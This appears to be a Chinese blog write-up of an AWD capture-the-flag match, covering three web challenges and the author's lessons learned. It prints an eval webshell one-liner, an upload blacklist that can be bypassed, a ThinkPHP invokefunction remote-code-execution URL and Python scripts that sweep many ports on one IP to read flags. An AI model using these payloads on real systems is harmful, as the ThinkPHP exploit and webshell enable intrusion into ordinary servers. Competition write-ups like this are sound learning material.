江鸟's Blog

2020.3 awd记录

字数统计: 738阅读时长: 3 min
2020/03/14 Share

第一次打awd,收获颇丰,让我充分看到了自己的短板。以下做个简短的记录。.

2020.3 awd记录

第一次打awd,收获颇丰,让我充分看到了自己的短板。以下做个简短的记录。

团队分配的任务是负责运维,在做完了dump源码的工作并发给队友之后,因为人员紧张,我又去打payload

web2

作为第一个开启的容器,也是相对简单,在login.php直接访问就有flag,贴上源码

1
2
<input type="hiddent" value=<?php
require_once('/tmp/log.php'); system("cat /flag"); ?>>

还有这里 admin下的index.php

1
2
3
4
$uname = addslashes( $_SESSION['username']);
if ($uname =="admin"){
system('cat /flag');
}

admin下的upload处可以直接上马php3

1
2
3
4
5
6
   $black_list = ["ini","htacces","php","ph3","html"];
$ext=pathinfo($name)['extension'];
$ext =strtolower($ext);
if (in_array($ext,$black_list)){
exit("fuck you hacker;");
}

web2获取flag脚本

1
2
3
4
5
6
7
8
9
10
11
12
# -*- coding: utf-8 -*-
import requests
import re
port = [20180,20380,20480,20680,20780,20880,20980,21080,21180,21280,21380,21480,21580,21680,21780,21880,21980,22080,22180,22280,22380,22480,21380,20280,21680]
url = 'http://39.100.119.37:{port}/login.php'
for i in port:
r = requests.get(url=url.format(port=str(i)))
if r.status_code == 200:
try:
print(re.findall(r"(flag{.*})",r.text)[0])
except IndexError:
print('数据为空')

web3

打开发现readme.md里面有一个马

1
<?php @eval($_REQUEST[1]);?>

看师傅们的代码提示

寻找文件包含的点,在org/smarty/sysplugins/smarty_internal_cacheresource_file.php

1
2
3
4
   $_smarty_tpl = $_template;

return @include $_template->cached->filepath;
}

还有一个弱口令,直接adminadmin就能登陆,也需要修复

web1

直接打payload

1
http://39.100.119.37:10580/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag

web1获取flag脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
# -*- coding: utf-8 -*-
import requests
import re

port = [10180,10280,10380,10480,10580,10680,10780,10880,10980,11080,11180,11280,11380,11480,11580,11680,11780,11880,11980,12080,12180,12280,12380,12480,11380,10280,11680]
url = 'http://39.100.119.37:{port}/public/index.php?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag'
for i in port:
r = requests.get(url=url.format(port=str(i)))
if r.status_code == 200:
try:
print(re.findall(r"(flag{.*})", r.text)[0])
except IndexError:
print('数据为空')

总结

  1. 脚本准备十分不充分,负责打payload交flag,没有准备自动交flag脚本,自己匆忙写的一直错误,后来check速度变快之后,提交flag速度跟不上,根本没有时间写脚本。最后还是靠着电脑师傅的脚本才缓解了一下。
  2. 对于漏洞的发掘能力还有待提高,虽然发现了一些点,但是早在我之前,师傅们就已经发现了,甚至已经修复了。我要提高自己的反应能力和代码审计能力。下一阶段准备开始审计cms来提高。
  3. 需要像师傅们学习,准备更多的waf和流量监控 文件监控等
  4. 没有准备好扫描文件的工具,seay在比赛中突然不能用了,只有d盾可以扫一扫,其他全靠手动,对于后门查找的效率有影响
CATALOG
  1. 1. 2020.3 awd记录
    1. 1.1. web2
    2. 1.2. web3
    3. 1.3. web1
    4. 1.4. 总结